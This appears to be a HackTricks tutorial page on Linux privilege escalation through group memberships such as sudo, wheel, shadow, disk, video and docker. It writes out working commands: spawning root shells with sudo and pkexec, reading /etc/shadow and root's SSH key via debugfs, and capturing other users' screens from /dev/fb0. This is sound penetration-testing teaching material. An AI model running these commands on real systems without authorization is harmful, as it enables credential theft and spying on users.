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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} # Sudo/Admin Groups ## **PE - Method 1** **Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. If this is the case, to **become root you can just execute**: ```text sudo su ``` ## PE - Method 2 Find all suid binaries and check if there is the binary **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. Check the contents of: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. To **become root you can execute**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` If you try to execute **pkexec** and you get this **error**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` **It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: {% code title="session1" %} ```bash echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec #Step 5, if correctly authenticate, you will have a root session ``` {% endcode %} {% code title="session2" %} ```bash pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` {% endcode %} # Wheel Group **Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: ```text %wheel ALL=(ALL:ALL) ALL ``` This means that **any user that belongs to the group wheel can execute anything as sudo**. If this is the case, to **become root you can just execute**: ```text sudo su ``` # Shadow Group Users from the **group shadow** can **read** the **/etc/shadow** file: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` So, read the file and try to **crack some hashes**. # Disk Group This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. Files:`/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. # Video Group Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: ![](../../.gitbook/assets/image%20%28208%29.png) Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): ![](../../.gitbook/assets/image%20%28295%29.png) # Root Group It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... **Check which files root members can modify**: ```bash find / -group root -perm -g=w 2>/dev/null ``` # Docker Group You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} # lxc/lxd Group [lxc - Privilege Escalation](lxd-privilege-escalation.md)
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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